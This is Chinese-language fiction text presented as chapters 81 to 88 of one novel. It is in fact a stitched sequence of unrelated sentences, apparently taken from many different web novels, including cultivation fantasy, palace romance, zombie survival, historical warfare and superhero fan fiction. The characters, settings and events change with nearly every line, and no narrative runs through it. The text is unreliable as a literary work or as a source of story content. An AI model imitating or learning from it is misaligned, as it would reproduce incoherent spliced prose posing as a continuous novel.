“伸长吧,线!”黑色细长的像是触手一样的东西从匙的手中朝弗里德袭去。手背上也出现了一个像是蜥蜴脸的东西,东西就是从那嘴巴肿伸出来的。
德鲁长老气的大吼一声,正想扑进去时,两个保安拦住了他,他发誓,这一辈子,从来没有这么气过。
突然间,林青玄眼前一亮,只见前方出现了一片颇为熟悉的山脉,沟壑纵横、连绵起伏,跟藏宝玉简里面所刻画的曲线是一模一样,林青玄不禁精神大振。
“我也有这样的感觉,我有一种感觉,目标似乎离我们很近,就像是插肩而过那种,”另外一个黑衣人说道。
三师父还想要再什么,身体不受控制的飞上天空,好像被一根绳子绑住了一样。
布庄老板是一位长相高瘦的中年男子,因为凉红妆疯狂买衣服布料,所以互相识得。
待得官双妍说完,狄冲霄简说推断,极感可惜,若非不知御神羽美什么时候动手,又是要去神殒荒原,必会是去凑这场大热闹。
那名领头男修,年纪三十有许,左脸有一道剑痕划过一般的伤口,显然是经过刚刚一番激烈的战斗所留下来的,神色也不在似之前那般,轻松无比,国子脸,浓眉精目的眼睛中,此刻却充斥的忌惮,以及丝丝凝重。
因为,他看到了他的指挥部后方,以及指挥部两侧,此时竟然再次出现了大量的支那士兵。
第一卷 第81章 亲密
冷傲天一见冷逸冰,立刻就哭喊着,猛然扑了过去,泪水纵横的样子。
“是外公和五舅的军营,有敌人攻打吗?”冷籽言忽然语出惊人,也不知道她是如何知道这事的。
第二天上学时,班上三分之一的学生没来,剩下的学生中,还有一半挂着青鼻涕……得,春游成了找罪受了。
主要攻击武器准备完毕的破坏者改忽然一身转身,背对着巨型螳螂向着白昼区的地平线飞去,身后,是再刚才破坏者为了拼合巨刃速度大减后追上来的一片密密麻麻的飞卵。
但这时候,她才发现,那个黑化式神根本就没有攻击,而是看着千爱把托托莉扶了起来。也就在这时候,托托莉看清了她。
“生死对决,哪里容得你晃神?!”张跃斌看出阎倾的心不在焉,生气的劈了过去。
托托莉下定了决心,这样做也许会非常没有意义,但有时候有一股倔强的就是会让人做出奇怪的事情来。托托莉觉得,既然mén后面有灯光,那么mén的这边就没有理由没有灯光。只是,需要在什么地方开灯来着?
“不打,很老实,估计我就算把你踢到地上你也醒不了。”林笑笑一脸真诚的点头说道。
“谁说的!我还听见王老师要请你家长呢!”那个男生气得跳了起来,高声的叫出了声。
“好!如果扬子有一点事,我不会放你的!”徐武阳恶狠狠地说道。
半分钟后,李高远等人眼睁睁地看着右门的塔楼被占据,另一座塔楼被孤立,毫无办法。
然后我又点了重新登录,就这样开启死循环。我等一次她登一次,要命的是。我删除了所有机型对方居然还可以登录?!对方知道我密码吗?
当钱黎第三次被拒绝之后,良好的修养也维持不了脸上的崩裂,怎么说呢?以慕光国际总裁夫人的名义居然被拒绝约见,看来这个赵恩慧对慕光国际挺有意见的。
罗绮然这段时间想的很多,当然不会认为她的父亲会没有另外的准备。只是当罗正坤这么说的时候,她再也找不到任何理由来推辞。
我们全副武装,按照计划,我们被投送到了商务大厦的楼顶上,尸人将所有的主力全都守在了大厦的前门和后门上,所以楼顶没有尸人来巡逻。
不仅如此,谭宏运见俞雪婧靠近了,马上将土墙变成泥沙堆彻在俞雪婧的脚步下。
“休息一下也好。你等一下。”许辉南说完就去靠窗户的角落里拿出一个折叠床。展开放好。
于是大家说定了,轮子没让老实和喜子跟着一起进去,而是让他俩在外面找客人,好带进去弄点回扣。
凛唯有表示汗颜。不过,这种生生靠钱砸出来的邑地,看看热闹还行,参考价值真不大。另外两场,倒是干货十足。
在接下來的日子里。莫涟漪依旧表现出一无所知的样子。对于冬青送过來的‘药’。她照例喝着。可是这些也只是做给冬青看。在沒有人注意的情况下。莫涟漪悄悄的将这些‘药’倒掉了。
尼娅沉默了,她也明白母亲的顾虑,若真有人掌握了系统化驯服飞龙的法子,几乎可以预想往后大陆各国势力比拼谁家的飞龙数量更多更强。
看着裘笑天声嘶力竭的样子,陈飞面色一下子冰冷起来,右手直接掐住了裘笑天的脖子,死死的抵在身后的钢板上。
“是!”众人应着声看着郑夫人的表情,她只是平静的笑着,以一种慈祥的模样打量着面前的廿七,廿七则好奇的盯着郑夫人,一府上下根本看不出谁的脸上有着喜气。
悉人的鼻孔冲天,冷哼一声,拿了晋伯手中钱币,扭头说道,“等着吧!”说完就朝着屋子里走去了,也不知今日能不能见到虢石父本人。
饶是见过诸多稀奇的太监总管在这个时候,也毫不掩饰自己内心的激动,他颤抖着手,缓缓握上面前那个像冰一样的物体,触手的感觉果然如冬天的冰一样冰冰的凉凉的,却又透着亮色,这个东西,是专门用来喝这个酒的?
“年叔叔,你又在担心我们吗?年叔叔,你就安心啦!现在又有爹爹在身边,年叔叔不要担心,一切都会好的。”蓝奕奕志满意得的看着年平崇说道,他一看年叔叔这样的表情,就知道年叔叔又在担心他们母子三人了。
若说刚刚只是猜测的话,那么现在她可以肯定自己真的掉入这厮挖好的陷阱了,难道真的应了那句话,人外有夏侯菲,天外有蔺沧溟吗?为什么她遇上他,总会毫无意外的落败呢?
既然郎情妾意,莫涟漪便不再迟疑,在她的‘操’办下,莫相国亲自去学士府提亲,该有的礼节,一个都不少。
“是!”掘突应声道,又看了一眼褒珦,他的囚车离这里已经很近了,只怕是他们说的什么、谈的什么都听得一清二楚,他的头高高的昂起,像只骄傲的大公鸡,不论发生什么事情都不愿意将那颗头低下去。
“哗啦哗啦……”龙卫身上,乳白色的治愈神丹的效果,接连不断地闪现,就好像一旦停歇,龙卫就会暴毙。
“战场清理完毕,接下来由七百零一号至八百号上场。”演武场的中间,身着铠甲的王城统领傅仪天高声喊道。他冷漠严肃的声音,让被报到号码的人,情不自禁地紧张起来。
生痛的蛇王在地上打滚,它何时这么狼狈过,在雷泽称王称霸的它,深深地感受到生命的威胁。
“六嫂,我要是破产了,以后就赖在睿王府了。六哥赶我,我就说是六嫂你害我破产的。”十三皇子嘴角抽搐着。
第一卷 第82章 留下
谢老夫人明白她一直想要知晓自己的母亲是何人,只是许多事情,却也不是一时半会能说得清楚的,毕竟她的母亲,乃是夕照国的禁忌。
“她哪里知晓,没有了沈家,她的日子更艰难。”沈大夫人叹了口气道。
蒋远周的视线移到她腿上,蜿蜒而下的血渍触目惊心,许情深面色发白,下意识握紧了许明川的手。
“老板,还有一件事情。”踌躇了半天,市场部的经理还是开口了,虽然此刻马化腾的脸色确实不好。
反正何曼也没说在哪里比斗,吕卓也不算耍诈,如果让他挑一处山林跟何曼打的话,何曼怕是输都不知道怎么输的。
“现在,能让他变回以前的,只有你了!”说着,他慢慢的递上了手里的枪。
唐飞白怒喝,身形一转,双拳携着无量数的磅礴巨力狠狠地碾压而下,势要将方鲲的手臂给硬生生地震碎。
“我当然急了,否则我真怕再出什么事情怎么办!?”陆一琛问。
“咱们俩继续之前的话题,我们该怎么撮合我妈还有你何师叔”夏婉婷坐在我床边向我问道。
他上前一步,把药端到墨颜玉的嘴边,可是她是死活不张嘴,自己硬来恐会伤害到她,不给她来点儿狠的还真就奈何不得她。
杜归并不意外,索命鬼只有自己才能看到,而现在这只索命鬼,并不是自己的,而是冲着张全有的。
这一刻,墨颜玉脸色微变,神情复杂,似感动,目光聚集在相影石中的楚轩身上,心中莫名生出一股暖意,虽然这家伙有些混蛋,还老是在言语上以及身体上占她便宜,不过此时看楚轩倒是顺眼了一些。
正好阳光移动了过去,照在罗江洋的尸体上,看起来就像是盖上了一件威风凛凛的披风。
对于王爷要封锁消息,明眼人都懂得王爷的用心良苦,他是不想此事闹大了。王妃乃云国公主,若就王妃性命堪忧传到云国,只怕是引起一场大风波,若两国因此交战,他们该何去何从,他们也知道孰轻孰重。
墨颜玉眼眶内,蓄满了晶莹的泪水,她不敢张开嘴,只能紧闭着眼睛,两行清泪划过面颊,吹弹可破的肌肤如霜如雪,身姿纤弱。
上官正熊这般想着,便立刻咬了咬牙,然后眼神坚定的看着上官紫依。
夜幕的降临,没有使得第三医院变得安静,反而黑暗之中似乎多了一些什么东西。
既然墨颜玉不为所动,面不改色,可见她完全不想领楚轩的情,心中必然还是恨死了楚轩。
秦城心念一动,将在蓝星时,海底那男子尸体旁,获得的宝珠取了出来。
不过所有死法中有一种是人类公认最坏的,那就是被人活生生的吃掉,这种场景不用亲眼看见,光是想一想就已经让人不寒而栗了。
确认安全之后,所有人都兴奋的扑向了那一箱箱的金银珠宝。虽然众人都知道这些东西没有自己的份,都是“秦风”组织的,但是这并不妨碍他们上去享受一下躺在财宝里的感觉。
在奥丁的面前。一块巨大的全息屏幕正在闪烁。那上面是将近二十个间谍探头所拍摄的图像。奥丁已经好几天沒有看这些录像了。趁现在心情比较放松。他准备全部都扫一遍。
难怪孟德同学听闻太史慈的大名后,当即诚心拜请,并送上诚意一份——当归一支。
“砰!”一声闷响,随即传来了一声撕心裂肺的惨叫声,那山贼的右手猛然着了火,那火焰瞬间就袭上了他的身体,立时就把他焚为了灰烬。
曹操为蔡大家,在城中购置了一套屋宅,老同志搬走之后,东跨院彻底闲置了下来。
三个月不说话,李旭并不是担心别人听见,因为可以利用神念传音交流。真实的原因,就是他时刻都在集中全部精力探查地底下的变化,根本没有心情、也没有精力说话。
满眼之中尽是火球,只见那老者双眸只见好似一道寒光射出,励喝道。
徐一鸣笑了笑,没有说话,他做菜方面天赋不错,只是在听潮轩学习过半个月,也做不多大师傅罗锦江的程度,厨艺也救是一般,但是在刀工方面,确实算的上大师傅的级别,无意间表露出来,确实足够张少芬震撼了。
“真没事的。”莫寻以前都是对着镜子自己从身上挖子弹自己缝合伤口,也熬过来了。如果真是钢板滑脱,还不如直接去医院,他可是有医保的。可是痛虽痛,左臂的活动似乎并未受到影响。
祁晴今天本来计划是去农贸市场补充生鲜的,不过空间的事情她连母亲也没告诉,自然不想现在就让莫寻也知道,于是打发他去办理退租的事,许他暂时搬来自己家中住。
只有主持会议的几位核心人物,知道祁晴有预知的异能,就不得不将她的倾向放到了重点位置上琢磨了。
秦慕修刚才的法子不行,他脸色稍稍沉了下去,正想着理由推脱的时候,一只手伸过来抓了抓他的袖口,示意他想法子。
可是她都追了一天了,居然还没看到她们,而且路上的人也说,除了她,没有再看到别人。
海啸天灾,沿海的动物们都跑入了山中林子里,送了一波口粮,这些蛇又迎来了新的活跃期,如今却被召唤到了M军基地,看意思是要进攻地下的。
莫寻想到这些,对齐河交代了几句,他自己则去了隔壁政府大楼。
第一卷 第83章 地三鲜
两人经过一段时间的接触早已熟悉了。也常开开玩笑或者打击打击对方。当然有种情况李权一说她就会沉默的,那就是李权讲着荤段子,黄色笑话。
“那倒也不一定,军官之所以受到重视,是因为需要他们冲锋陷阵,剿灭丧尸,不要看我们现在耀武扬威,威风凛凛,说不定明天就战死沙场,为国捐躯,连尸体都找不到了。”孟凡冷冷地说。
我一下子犯懵了,甚至我和胡子互相对视一下,我能感觉到,胡子也是满脑子全是问号。
身为仙侠世界的大能----的宠物?而且,那个大能,很可能就是通天妖藤口中的,最接近主宰的强者。
李权听到这才转头正眼看他。刚才他一直在思考怎么解决身边这个让他很生气的男子。是直接找公安局的局长周叔呢还是利用暗地里走黑路搞定。在他还没决定下来怎么办时听到他的这句话顿时愣住了。
夜邪羽扶着慕容晴赶紧上车,吩咐了慕容晴几句,夜邪羽左右看了看,车上实在没有什么趁手的武器,恍然间看到了自己脚上的高跟鞋,三下五除二的脱下自己脚上的鞋子,赤脚就跳了下去。
更带劲的是,韩东因此还获得了2008年度感动滨海十大人物。滨海市市委常委、宣传部长亲自为韩东颁奖。韩东在激昂的国歌声中领走了金灿灿的奖牌。他领完奖迫不及待地回到座位上,趁无人注意偷偷咬了一口奖牌。
但真的必须去死吗?正如史铁生先生所说的,死是一件不必急于求成的事,死是一个必然会降临的节日。
狄金一怔,人质这一招对负责任的警察和军人有效,对孟凡这样的兵痞,根本是无用的。
高腾支支吾吾上了,我一发狠,把帮主的身份搬了出来。那意思他不是最懂规矩么?难道帮主问话,他也不回答么?
轰!突然,地面突然开始爆裂,一条条裂痕开始向整个房间蔓延。
“hat?”黑人根本没听清萧如兰说什么,应该说他根本就没去听,此刻他正在享受周围人的目光,也不管那目光中包含得是愤怒或鄙视,总知有人注视他就感觉良好。
媚夫人媚骨天成,乃是有着一张动人心魄的美丽脸庞的,可那张脸上若是有一些黑斑,便是再美,也不会美了。
云丽全身无力,向地下瘫去。清明轻轻地托住她,把她揽到自己怀里。云丽双手搂住他的脖子,把头埋在她的胸前。两人默默地站着,不说一句话。
“我说不能吃就不能吃!”在冰舞看来顾朝曦的火气来的莫名其妙。
三人一路上是说说笑笑的,轻松而写意,仿佛救回人拿回钱那是举手之劳了。并按照绑匪们的要求,把车直接开到了南方都市城南区最豪华热闹的商业中心的绿水广场。
李龙飞又眨了几下眼睛,那几个模糊的身影开始慢慢聚焦,声音也慢慢变成了一股声线。
肖土顾不上朱墨的生死,赶紧是上前去查看起了肖土和贾星星,但见他两人身上的几个子弹窟窿还在渗着血,只是呼吸已渐渐的缓了回来,姓名似乎是无忧,毕竟都是修真者了,不会那么轻易死去的了。
马车伴着“咯吱咯吱”的响声一路摇摇晃晃地向前走着不知道什么时候才能停下来。
凭着封字战法,他们几乎可以无损重创其中任何一头亡魂,至于恢复灵力所消耗的灵石,对拥有数万灵石的秦翊来说根本就算不上什么。
十八岁就已经身高一米八的唐泽迈着大步走到唐念身边,顺着头发摸了摸唐念的脑袋。
而在萧雅清和卫迦到了一条少人的道路时,一辆白色娇车突然横开过来拦住了去路,卫迦立即刹车,差点撞到了那辆白色轿车。
在几秒钟的等待之后,那个熟悉的,慵懒的声音出现在了梅林耳边。
她马上就要前往大衍主城了,没有了婚约的束缚,她可以真正的放手去追逐她所想要的一切。
“公父说他先恭喜先生了,明日公父亲自来道贺。”公子熊建道。
可是后来,他父亲早年在麻将馆里打工,在里面得罪了人,被人打成重伤,又染上风寒,去世了。
石伍尘看待那个眼镜男对他并没有恶意,也就稍微松了口气,不过还是走到树边,随时准备躲避袭击。
最高修为有结丹期的妖兽,大多都已经退化成普通的凶兽了,而植物类妖修数量就更少了,境界更是最多相当于铸魂境的魂修,更多的植物哪怕活再长的时间,也不过是粗壮的凡木。
这一掌的威力更加了许多,接近三千八百万的爆发已经超过了李象之前的最强一击。
好像家长们乐于看到孩子们闹腾,尤其是喜欢看到孩子们闹他们的姑爸爸。
“我一出来,就得知无穷山脉的怪物出来捣乱,这是怎么回事?”柳毅看着韩立问道,这事一个不好喝他还有关系呢。
语落,他元神之中迸出金光闪闪,隐约传来了一股“仙”的意味。
“君上……”青玄在君莫离的耳边低语了几句,听得君莫离非常吃惊。
第一卷 第84章 本分
民以食为天,军营里更是了!
这些鬼都不如之前的般若以及百变妖还有狗头式神它们厉害,所以学校的孤魂野鬼完全可以对付它们。
于是,伊泽只好施展牧师法术,柔和的治愈之力渗入萨尔·战歌的身体内部开始缓慢修复他已经破败不堪的机体。
不过面对其他顾客的反应,大堂经理也不敢再闹下去了,否则面前这死胖子还不知道说什么呢,万一真把店给弄臭了,老板还不得弄死她这个大堂经理?
宝贝玩了这么多年游戏,第一次体验这种升级法,根本不用自己费脑子。
不过她还是挺聪慧的,不用猜也应该知道我为什么会来找她,还和我装什么呢,两年前和我说话的时候,倒是挺傲气的。
她不知是在把自己的心里话说给眼前的人听,还是在替自己回忆过去。
她捏着额头,果然在什么时候开店开铺子,想要找个靠谱的下属都是大·大的学问。
“是!”赵禹言简意赅,并不打算再继续给齐云姝解惑,掉头就走。
后来当天晚上又遇到了翛阳,便觉得他是我在世上见过的第二好看的人,就是他眼上的白绫,总让人觉得寒碜。他们细细看是挺像的。
他挥出一团柔和的神力包裹住萨尔·战歌的身体,随手撕开一道通往黄金海岸的传送门户,在临走之前,他喷出一口烈焰吐息,将古绿龙的老巢彻底点燃。
“继续射!不要停!”巴里特对面无人色的民兵高声怒吼,举起手中的十字弓向密密麻麻的蚁人射了一箭。
这样一来,金索尔并没有升值,炼金塔制造炼金生物的费用还是那么多,而维克多白白损失了68000金索尔。
后来慢慢出现了各种变化,而电磁轨道炮也是越来越复杂,直到现在眼前的这款电磁炮为止。
张乐萱绝对不会发生这种事情,因为张乐萱太过于成熟,善解人意,为了自己肯定不惜一切代价。
由于这个任务非常轻松,导致不少玩家们在完成任务后颇为不舍,但也有一些聪明的玩家故意卡这个任务,明明提示任务以及完成了,但就是不去完成,反而借着这个机会狂刷经验。
武一凡将手机拿了过来,看到手机已经被挂断了,面色顿时变得更黑。
“你们两个,想干嘛?”许皓问道,他看到萧洛凡紧抓着的许多多的手,心里彻底地纠成了一团。
白发区长在听到这些议论声音时,脸上的肌肉一直都在狠狠的抽搐着。
接下来,无论发生什么意外,都能正常的赶上明天下午的颁奖典礼。
刚刚我还在告戒自己要离他远点,不能在让他钻了空子,可现在,我依畏在他怀里,竟觉的一切都不重要了,只要能在他怀里依畏片刻就好。
心情很不错的肖恩看着面露忧色的史蒂芬·斯特兰奇,半开玩笑的微笑着说道。
肖恩忽然离开让托尼·斯塔克心中的疑问得不到解答,有些闷闷不爽,但是肖恩的话的确令他心中的不安平息了下去,马特·默多克的事情只是个例,而不是反注册派那边有什么新情况,这足以让他安心了。
第一卷 第85章 住宿
锦婳勤快,吃过饭就开始收拾厨房,胖老头到底是个男的,厨房收拾得大面过得去,但死角都是脏东西。
随着影魔越来越虚弱的咆哮声,黑雾全部被卷入龙卷风的风眼中,在风玫的操控下被压缩成一个黑色圆球。
两人此刻方知被套进去了,双双举起拳头捶在西门落停身上,羞恼的情绪里带着几分甜蜜。
在几天前,李三第一次帮她看病的时候,似乎就提到过类似的话语。
王财被她看了一眼,身体一颤,一屁股坐在了地上,他心里后悔得要死,早知道就不多嘴了,现在好了,王菁是不会放过他的。
系统告诉他,完成任务,他能够修复自己的灵魂,在灵魂恢复到一定程度后记忆自然会恢复。
方天明和凌云上学时有多不对付,大家都能看出来,楚潇潇这么做,在凌云最需要帮助的时候离开了他,可以说不光是落井下石了,这是又捅了一刀狠的。
想到林玉妹已经退出陡音平台,转而在飞鱼开了直播间,成了自已公司唯一的台柱子。
可是婚前协议规定,这份协议只有双方当事人才能知道,彼此不得透露给任何人,也就是说连洛芷欣都不能说,凌云也无奈。
这老者一身灰袍,枯瘦的面容,下巴有一撮白胡子,头戴一顶道帽,手上拿了一杆子,杆子顶部是一块幡布,上面写道“神机妙算”几个大字,他一眼就看出这是一位算命先生。
只不过,还是由于性格的原因,再加上专业实在不对口,王宁根本没有任何做家教的经验。
见九象笑而不语。鹿鸣也就打算不再寒暄,要直接说正事了。她今次出来,可不是为了来约会九象的。
魏旬气得破口大骂,只是他满口牙齿脱落,根本就关不住风,口齿不清,根本听懂他在骂些什么。
“是时候找个机会跟他们算算总账了。”展英深吸了一口气,暗暗道。
事实上凌宇比他还要震惊,这家伙也不知道被劫雷劈多少次了,身上伤痕累累,力量消耗非常庞大,但变成蛟龙之后,他们足足硬拼了数十回合,最后借助羽化仙府无穷无尽的灵气,他才战胜对方。
现在这些人一看到野马精,就气得三尸神暴跳,恨不得宰了野马精。
默夜虽然听不到交流,但根据画面上的动作,大致判断出了实际情况。
不过,这么探索未知的区域着实让人心情愉悦,这些没有见过的风景,没有见过的生物,实在是让他着迷。而且,他现在主要是在开拓地图,方便以后在海底采集资源。
“不需要杀他们,吓唬吓唬就行。”帝九笑的凛冽,看的人毛骨悚然。
鹿鸣也清楚的知道大家心里在担忧害怕什么,所以和阿桑在屋里说了好一歇话。
隐若可见,黑雾当中,一尊尊凝聚而成的黑色的魔头,展开涂黑的大嘴,向两人蜂拥而来。
还有最终好的一个排场,布拉德利让着一千狂战士从对方的家门口开始分裂两排一直排往马尔斯家里这个方向,有多远排多远。布置好了一切,准备出发了。
第一卷 第86章 逃命
刘烨跟随着张邈,回到临时的驻扎地点后,他并没有跟张邈,一起安排着将士们,前出征汜水关的工作,而是独自一人,找到徐庶,想要问问他对于合兵攻占汜水关的看法。
刑从连看着楼下匆匆忙忙的上班族,有那么一瞬间,他想起昨天在高楼之上,俯瞰这一切时的情景。
所以,看着妖凤期盼的眼神,方言心头却是有些不安。因为他实在是不知道怎么跟它们说自己无法治愈那颗受损的妖丹。他体内的元气之灵,对妖丹没有丝毫作用。
事实上,王朝的分析并没有任何问题,唯一的问题是,一个熟知超市货架各种泡面口味的男人家里,并没有可以展现厨艺的素材。
“你们让青云峰这么狼狈,总是要付出代价的。”白发老者看了炎火豹王一眼,最后将目光落在了叶宗主身上。
方艾子完全抓住他的软肋,他对姑娘的眼泪真的一点办法也没有。
一语惊醒梦中人,在听到这道惊恐之极的声音后,十几人猛的回过神来,甚至欲将那锦衣老者撒手不管,转身狂奔。
我脑子里的事情本就多,前世的记忆,今世的经历,再加上在青海确实摔了头,此刻他说得有板有眼的,差点把我绕进泥坑里了,当真以为自己出了毛病。
皇上一向疼公主,刚刚那位公子长的一表人才,气质出众,一看就非一般人,又加上公主的坚持,皇上这才同意了这门婚事吧。
因为当时,他们出发前,徐庶还没有为士兵们找好,安置的地方,所以,现在他们只能一边打听,一边盲目的找寻了。
想来想去,邢天宇觉得很有可能是从那个黑漆漆的洞口跳下来的时候发生的,很显然,当他跳进那个洞口的时候,他就坠入了梦魇领主为他准备的一个陷阱,只是不知道其它队友现在都到哪去了。
不过为了避免引起对方的警觉,邢天宇还是决定用对方比较熟悉的素材才执行这一次的杀戮。
沈念一忽然冒出一个念头,皇上怕是从来没有对香嫔动过一丝真心,那些表面的无限风光,是做给旁人,更是做给香嫔本人看的,让她错以为皇上年老昏庸,经不起美色的诱惑。
今天的会场里观看的人与当初混乱赛相比,起码多了一到两倍,看到选手进场,一个个比亲自上台打擂的还兴奋,不断的冲这边挥舞着手。
“因为……”往后退了一步,星炼心虚的扯扯嘴角,想要撇干净责任的话怎么也说不出口,正寻思该怎么办时,跟前男人忽然长臂一伸,眼看就要搂过来了。
从对方的话语里,赵子龙感觉到了浓浓的情意。他为难之下,正在考虑怎么向田甜解释,对方却已然毫不犹豫地打断了他的话头。
然而,平如庵中的香火都靠着这些达官显贵,住持心中委实畏惧,也不敢提出要将瑶姬送走的话,那些金身佛像,迫使她妥协下来。
喻微言面不改色立在原处只当看戏。翌日清晨,喻微言起了个大早,刚一洗漱完,便见喻府总管赵广乾命人来请她去喻府祠堂。
寅丰只当自己得了瑶姬的点拨,会是此事间最大的功臣,喜不自禁已经早早流露出来,才是让人贻笑大方了,沈念一不想他到时候,真的气急败坏,拂了皇上的颜面,不如趁早同他明说。
“寂灭掌。”就在此时,头顶忽然传来一阵巨大的压力,宛如泰山压顶。
十四娘心口闷闷的,一股酸意涌上来,她吸了吸鼻子,镇静自若地走进牧场。
“放了她!”南宫凌从他们背后冒出來,阴鸷的双眸如黑洞般危险,周身散发这撒旦的气息,这就是南宫凌,善雅心想,他那段时间对她的好都是做出來的吧?这才是真正的他。
战场后方是雷鳗一族的祖地【雷渊】,这雷渊,乃是一处深达万米的海渊,只不过因为某些未可知的原因,雷渊内像雷霆山脉那样,常年有着雷电滋生,当然,雷渊内的雷电强度跟雷霆山脉完全没法比。
呵~殷亦航你当我是什么?呼之则来挥之即去的吗?说复婚就复婚?整日缠着我这是做什么?还出言作践我?
叶萧心思活络不断的思考,这个所谓的环灵塔既然是以压榨考核人的潜力著称,应该不是简单的如眼前这种方法。
我一个激灵,顺着他的手指看去,果然,迎面来了十几匹飞驰的骏马,再看那冲在前面的人,那不就是志泽吗?
但是叶萧却能感觉到魂魄在变强,变得更加凝练,而且眉心处痒痒的。
“什么!?”对于联盟和灭神暂时合作一事,枸橘结斗非常震惊。
白若竹也没心思继续在铺子待着了,跟来福嫂告辞,她让魏三赶车回了家里。
到了这个时候,他也不顾其它,只是意守下丹田处,将全身游走的内气不断梳理,导回下丹田内。
此言一出,这下该轮到陆飞傻眼了,他原本只是抱着试一试的态度,想着能捞一点儿是一点儿。没曾想,贾西门竟然如此的有魄力,一句话就将整个王家都送了出来。
施润沟通过,表达了自己的苦闷,这个很难控制,想吃的时候挠心。
还是抱有一点希望的,可当看到路人来来往往停留的‘神奇’目光后,他那么不可置信,一脸惨白地伸手拎起自己腿上的裤子。
李斌以武场里离自己大约一丈远近的一处人型木桩为目标,只见紫球脱手击出,几乎是瞬息及至。
铜镜之内透出一道光华,正落在墙壁上,浮出了大股人马通过封冻的胡良河面的画面。
待他进到宓姝的房间里,林池坐下,仔细的观察她的脸色,又伸手摸了摸她的额头,这才坐下身替她诊脉,妍蔚见他脸色沉重,也不敢问什么,只是静立在一旁。
第一卷 第87章 被抢
收回目光,白颜希转身看向那瞪视着自己的凤瑾言,倒是没察觉到任何的异样。
当然了,周云自然不会全力以赴,随便混一个S级就差不多了,算是一个强者,又没有超过国家当前水平,这样的中等偏上的强度只会让周云获得好处。
而江彦辰的到来,让林默很是无奈,因为他觉得可能自己今天晚上逃离的计划已经泄露了。
沉渊的表情并没有因为被她摸摸头就改变,于是她看向沉渊看的位置,才发现,原来,刚才还在亲亲我我,“少儿不宜”的奇怪情侣,已经停了动作,转而以一种匪夷所思的眼神,看向了她和沉渊。
“你不会说话就少说。”白了一眼那个说自己狡诈的男人,她有些气恼的踹了一脚装死的冷君羽。
带着死气和寒意的一句话,夹着惊天动地的气势,强行撞入特别战队队长的耳膜内。
他们也有人接触过一些初级阵法师,能控制一柄阵法刀刻录阵盘,而梅羡灵却是一次控制四枚奇怪的阵法刀,不管梅羡灵有没有炼制成功已经赢了,赢得现场所有人的尊重。
听到动静的夏家人正巧从夏惜逃亡的方向赶过来。后路有江腾飞,前路有夏家人,夏惜彻底地被包围在正中央,唯一的希望就是手机。
达安一脚踹在他脸上,表情阴狠,用手抹着脸上刚被他吐的唾沫,踹了一脚还不解气,又踹了一脚,直接把大舫踹得失去平衡倒在地上。
但是楚朝飞暂时还不想让张正义他们知道自己就是道祖,正想着如何去解释,就见一道淡红色的身影飞速掠来。
为了坑更多的商家,所以对于入驻商家的要求肯定就高不到哪里去。
风栾趴在桌面上,像一直软趴趴的虫子,听到有人提到他,连眼睛都不掀一下,等到这些人盯着他看了好些时候,他踩慢悠悠地抬起眼,一只手撑着下巴,一副懒散不着调的样子。
在“大石头”现出第一道裂纹的时候,他们终于看到了程冬晴身上的灵力波动。
多伦多是北美华人的一个聚集地之一,这个地方华人非常多,甚至在街道上就能看到汉字的标志和店铺名字。
如今宫廷首席大供奉跟戴安娜远行,首席魔法师爱尔弥法神闭关,神龙帝君不见踪影,首席剑神鲍勃迪伦也闭关。
“哼!”在一旁默默的偷听了好一会的克洛克达尔这时冷哼一声。
当最后一个音阶落下时,偌大的风宫厅一片寂静,好像有种岁月静好的感觉。
“……”亚伦低头扫视着满地的“尸骸”,猩红的瞳孔中闪烁着名为不满的情绪。
夏依依转头给李晨鞠躬,李晨点了点头,夏依依转身离开了办公室。
与其让龙虎山和向致远他们背负莫大的压力,还不如在这里和萧家摊牌。
只见,本来笼罩方青的炼狱牢笼,接触到佛光,竟然纷纷退缩了,甚至佛光冲出了炼狱牢笼,让整个火焰牢笼开始不稳固。
“葛瑞丝!”辰南在洞府前降落喊了一声,奇怪的是,葛瑞丝和慧绝并没有象以前一样跑出来。
为首老者大吼一声,其余三人对视一眼,虽然心有不甘,但却不得不听从命令。
“什么意思?你竟然看不起我药峰的炼丹水平,那我倒是想看看你能炼制出什么样的丹药。”方浩开口,看向张扬。
但这紧紧是个开始,城下的地面开始不断的塌陷,每一次的塌陷就有一名星将被拉进洞穴之中。一时间竟然逼得星将们节节后退,完全有种招架不住的形势。
“好,不过你得回来接我,你要是在外面出事了,你可对我哥不好交代。”李漪涟轻声说道。
刚回到地球中,人都有凡人一样的生活,哪八十年的时间真的很长很长。
那枚戒指与玉简中或许是让我做一个选择,我若选择戒指则表明我继续选择修仙,如果我选择了玉简,哪么就如同你送我的玉简中记载的那样,散尽一切修为化作一个凡人,然后娶妻生子度过余后的生活。
这一天,王渣都在不断的奔波之中,为大宋,他算是操碎了心了,要不是皇帝承诺,将来皇位传给他的儿子,他估计才不会这么上心。
就在这时候,一声厉喝响起,一道泛着寒光的战刀朝着辰逸迎头斩下,赫赫刀风吹动辰逸头发分到两边,那人双目赤红脸色狰狞却难掩喜意,仿佛已经看到了冲战丹的药纹。
第一卷 第88章 找她
徐晓誉在陆卿尘帐前来回踱步,犹豫着要不要进去,若是锦婳在帐子里,她岂不是打扰了人家的情趣。
可若是锦婳不在……
她不敢想!
北境寒冷的冬天,又是清晨,正是寒风凛冽之时。
“说起来,世界意识到底是什么,之前世界意识离开,分发规则,现如今又是有求于人,意识到底是什么,他是有生命的意识,还是说,只是一个意识呢?”一旁生命神闭着眼问着。
因为这段时间,军统局没有什么大的行动,而且日本人的主要注意力,也已经放到了南洋地区。
此时,王简、王宁和刘启开始合计开了,他们在一起商议一个和谈底线,把晋国的老底套出来,然后狮子大开口,让晋国不可能同意合谈。这样以来,即使百姓也无法原谅晋国。
“怎么了,怎么了?”男人一个翻身,双手轻柔的捧着她的孕肚,蓝忆荞就这么四仰八叉半躺在床上,双手肘撑着床。
“听,你都听到了什么声音?”他不回答她的问题,也不松开她的腿,却问了问题。
双方安静了下来,一夜平安无事。待天色发亮,魏军发现对面的大营静静的,还有不少鸟雀落在营中,王猛大为惊奇,随派人去城外大营试探。结果发现冉智东大营与南中军大营皆空无一人。
老汉说什么也不同意冉明给五十钱一个,而是咬死就三十钱一个。冉明没有办法,只得同意。
纵然她有一百个亲人围绕在她的身边,可如果没有韶川,她的生活还有什么意义?
她接过帕子将眼泪擦了一遍,声音带着委屈和沙哑地将怎么在首饰铺子里遇见了季莹月,季莹月怎么花言巧语,到最后两人一起去了玉液琼浆酒馆喝酒吃饭。
也是那一次,他错过了和布兰的约定,让他最后成功的转换成了夜王。
想到这里,他忽然展颜微笑,心头一动,想道,看来该我出马了!不给段无期父子找点麻烦,今晚不是白跑一趟?
